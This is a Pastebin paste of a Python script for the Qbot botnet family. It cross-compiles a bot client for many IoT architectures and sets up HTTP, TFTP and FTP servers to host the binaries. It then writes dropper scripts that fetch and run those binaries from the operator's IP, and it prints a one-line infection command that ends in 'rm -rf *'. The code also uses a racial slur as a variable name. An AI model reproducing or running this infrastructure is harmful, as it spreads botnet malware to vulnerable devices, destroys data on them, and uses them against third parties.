Advertisement
GodlyPacketz

[qbot] MODZ-V1 Cross Compiler

Nov 16th, 2017
827
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 8.82 KB | None | 0 0
  1. """
  2.  
  3. _____________________________________
  4. |                                     |
  5. |         MODZ CROSS COMPILER         |
  6. |     Made By DaddyL33T With Love     |
  7. |_____________________________________|
  8.  
  9. """
  10. import subprocess, sys, urllib
  11. ip = urllib.urlopen('http://api.ipify.org').read()
  12. print("\033[2J\033[1;1H")
  13. input2 = raw_input("Download Dem Binaryz [y/n]: ")
  14. if input2.lower() == "y":
  15.     get_arch = True
  16. else:
  17.     get_arch = False
  18. print(" ")
  19. bot = "MODZ-CLIENT.c"
  20. i = 0
  21. ii = 0
  22. num = 0
  23. Nigger = True
  24. ARCHS = ["ARCH_MIPS",            #1
  25. "ARCH_MIPSEL",                   #2
  26. "ARCH_SH4",                      #3
  27. "ARCH_X86_64",                   #4
  28. "ARCH_I5",                       #5
  29. "ARCH_I6",                       #6
  30. "ARCH_PPC",                      #7
  31. "ARCH_M68K",                     #8
  32. "ARCH_SPARC",                    #9
  33. "ARCH_ARMv4",                    #10
  34. "ARCH_ARMv5",                    #11
  35. "ARCH_ARMv6"]                    #12
  36. CompArchName = ["ilovepenis0",  #mips   1
  37. "ilovepenis1", #mipsel                  2
  38. "ilovepenis2", #sh4                     3
  39. "ilovepenis3", #x86_64                  4
  40. "ilovepenis4",  #Armv6l                 5
  41. "ilovepenis5", #i6                      6
  42. "ilovepenis6", #ppc                     7
  43. "ilovepenis7", #i5                      8
  44. "ilovepenis8",#m68k                     9
  45. "ilovepenis9", #sparc                   10
  46. "ilovepenis10",  #Armb4l                11
  47. "ilovepenis11"]  #Armv5l                12
  48. ccs = ["mips",                   #1
  49. "mipsel",                        #2
  50. "sh4",                           #3
  51. "x86_64",                        #4
  52. "armv6l",                        #5
  53. "i686",                          #6
  54. "powerpc",                       #7
  55. "i586",                          #8
  56. "m68k",                          #9
  57. "sparc",                         #10
  58. "armv4l",                        #11
  59. "armv5l"]                        #12
  60. downloadarch = ['http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2',
  61. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2',
  62. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2',
  63. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2',
  64. 'http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2',
  65. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2',
  66. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2',
  67. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2',
  68. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2',
  69. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2',
  70. 'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2',
  71. 'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2']
  72.  
  73. def run(cmd):
  74.     subprocess.call(cmd, shell=True)
  75. if Nigger == True:
  76.     run("rm -rf /var/www/html/* /var/lib/tftpboot/* /var/ftp/*")
  77.     run("yum install bzip2 -y &> /dev/null")
  78.     if get_arch == True:
  79.         run("rm -rf cross-compiler-*")
  80.         print("Downloading Architectures")
  81.         print("")
  82.         for arch in downloadarch:
  83.             print("Downloading " + ccs[num] + "!")
  84.             print(" ")
  85.             run("wget " + arch + " --no-check-certificate &> /dev/null")
  86.             run("tar -jxf *tar.bz2")
  87.             print("Extracting " + ccs[num] + "!")
  88.             print(" ")
  89.             run("rm -rf *tar.bz2")
  90.             num += 1
  91.         print("Successfully Downloaded and Extracted Architectures")
  92.         print(" ")
  93.         print("Moving Architectures")
  94.         print(" ")
  95.         run("mkdir /etc/xcompile/")
  96.         run("mv cross-compiler-armv4l /etc/xcompile/armv4l")
  97.         run("mv cross-compiler-armv5l /etc/xcompile/armv5l")
  98.         run("mv cross-compiler-armv6l /etc/xcompile/armv6l")
  99.         run("mv cross-compiler-x86_64 /etc/xcompile/x86_64")
  100.         run("mv cross-compiler-i586 /etc/xcompile/i586")
  101.         run("mv cross-compiler-m68k /etc/xcompile/m68k")
  102.         run("mv cross-compiler-mips /etc/xcompile/mips")
  103.         run("mv cross-compiler-mipsel /etc/xcompile/mipsel")
  104.         run("mv cross-compiler-powerpc /etc/xcompile/powerpc")
  105.         run("mv cross-compiler-sh4 /etc/xcompile/sh4")
  106.         run("mv cross-compiler-sparc /etc/xcompile/sparc")
  107.         run("mv cross-compiler-i686 /etc/xcompile/i686")
  108.         print("Finished Moving Architectures To /etc/xcompile/")
  109.         print(" ")
  110.     print("Compiling Architectures")
  111.     print(" ")
  112.     for cc in ccs:
  113.         print("Cross Compiling for "+cc+"!")
  114.         run("/etc/xcompile/" + cc + "/bin/" + cc + "-gcc -static -w -pthread -D" + ARCHS[ii] + " -o " + CompArchName[i] + " " + bot + " > /dev/null")
  115.         ii += 1
  116.     i += 1
  117.     ii = 0
  118.     i = 0
  119.     print("Moving Compiled Architectures")
  120.     print(" ")
  121.     run("mkdir /var/www/html")
  122.     run("mkdir /var/ftp")
  123.     run("mkdir /var/lib/tftpboot")
  124.     run("cp 8UsA* /var/www/html")
  125.     run("cp 8UsA* /var/ftp")
  126.     run("mv 8UsA* /var/lib/tftpboot/")
  127.     print("Setting up HTTP TFTP and FTP for your payload")
  128.     print(" ")
  129.     run("yum install httpd -y &> /dev/null")
  130.     run("service httpd start &> /dev/null")
  131.     run("yum install xinetd tftp tftp-server -y &> /dev/null")
  132.     run("yum install vsftpd -y &> /dev/null")
  133.     run("service vsftpd start &> /dev/null")
  134.     run('''echo -e "# default: off
  135.    # description: The tftp server serves files using the trivial file transfer \
  136.    #       protocol.  The tftp protocol is often used to boot diskless \
  137.    #       workstations, download configuration files to network-aware printers, \
  138.    #       and to start the installation process for some operating systems.
  139.    service tftp
  140.    {
  141.            socket_type             = dgram
  142.            protocol                = udp
  143.            wait                    = yes
  144.            user                    = root
  145.            server                  = /usr/sbin/in.tftpd
  146.            server_args             = -s -c /var/lib/tftpboot
  147.            disable                 = no
  148.            per_source              = 11
  149.            cps                     = 100 2
  150.            flags                   = IPv4
  151.    }
  152.    " > /etc/xinetd.d/tftp''')
  153.     run("service xinetd start &> /dev/null")
  154.     run('''echo -e "listen=YES
  155.    local_enable=NO
  156.    anonymous_enable=YES
  157.    write_enable=NO
  158.    anon_root=/var/ftp
  159.    anon_max_rate=2048000
  160.    xferlog_enable=YES
  161.    listen_address='''+ ip +'''
  162.    listen_port=21" > /etc/vsftpd/vsftpd-anon.conf''')
  163.     run("service vsftpd restart &> /dev/null")
  164.     print("Creating .sh Bins")
  165.     print(" ")
  166.     run('echo "#!/bin/bash" > /var/lib/tftpboot/t8UsA.sh')
  167.     run('echo "ulimit -n 1024" >> /var/lib/tftpboot/t8UsA.sh')
  168.     run('echo "cp /bin/busybox /tmp/" >> /var/lib/tftpboot/t8UsA.sh')
  169.     run('echo "#!/bin/bash" > /var/lib/tftpboot/t8UsA2.sh')
  170.     run('echo "ulimit -n 1024" >> /var/lib/tftpboot/t8UsA2.sh')
  171.     run('echo "cp /bin/busybox /tmp/" >> /var/lib/tftpboot/t8UsA2.sh')
  172.     run('echo "#!/bin/bash" > /var/www/html/8UsA.sh')
  173.     run('echo "ulimit -n 1024" >> /var/lib/tftpboot/t8UsA2.sh')
  174.     run('echo "cp /bin/busybox /tmp/" >> /var/lib/tftpboot/t8UsA2.sh')
  175.     run('echo "#!/bin/bash" > /var/ftp/8UsA.sh')
  176.     run('echo "ulimit -n 1024" >> /var/ftp/t8UsA2.sh')
  177.     run('echo "cp /bin/busybox /tmp/" >> /var/ftp/t8UsA2.sh')
  178.     for i in CompArchName:
  179.         run('echo "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://' + ip + '/' + i + '; curl -O http://' + ip + '/' + i + '; chmod +x ' + i + '; ./' + i + '; rm -rf ' + i + '" >> /var/www/html/8UsA.sh')
  180.     run('echo "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; ftpget -v -u anonymous -p anonymous -P 21 ' + ip + ' ' + i + ' ' + i + '; chmod 777 ' + i + ' ./' + i + '; rm -rf ' + i + '" >> /var/ftp/8UsA1.sh')
  181.     run('echo "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; tftp ' + ip + ' -c get ' + i + ';cat ' + i + ' >badbox;chmod +x *;./badbox" >> /var/lib/tftpboot/t8UsA.sh')
  182.     run('echo "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; tftp -r ' + i + ' -g ' + ip + ';cat ' + i + ' >badbox;chmod +x *;./badbox" >> /var/lib/tftpboot/t8UsA2.sh')    
  183.     run("service xinetd restart &> /dev/null")
  184.     run("service httpd restart &> /dev/null")
  185.     run('echo -e "ulimit -n 99999" >> ~/.bashrc')
  186.     print("\x1b[0;32mWGET: cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://" + ip + "/8UsA.sh; curl -O http://" + ip + "/8UsA.sh; chmod 777 8UsA.sh; sh 8UsA.sh; tftp " + ip + " -c get t8UsA.sh; chmod 777 t8UsA.sh; sh t8UsA.sh; tftp -r t8UsA2.sh -g " + ip + "; chmod 777 t8UsA2.sh; sh t8UsA2.sh; ftpget -v -u anonymous -p anonymous -P 21 " + ip + " 8UsA1.sh 8UsA1.sh; sh 8UsA1.sh; rm -rf 8UsA.sh t8UsA.sh t8UsA2.sh 8UsA1.sh; rm -rf *\x1b[0m")
  187.     print("")
  188.     raw_input("press any key to exit....")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement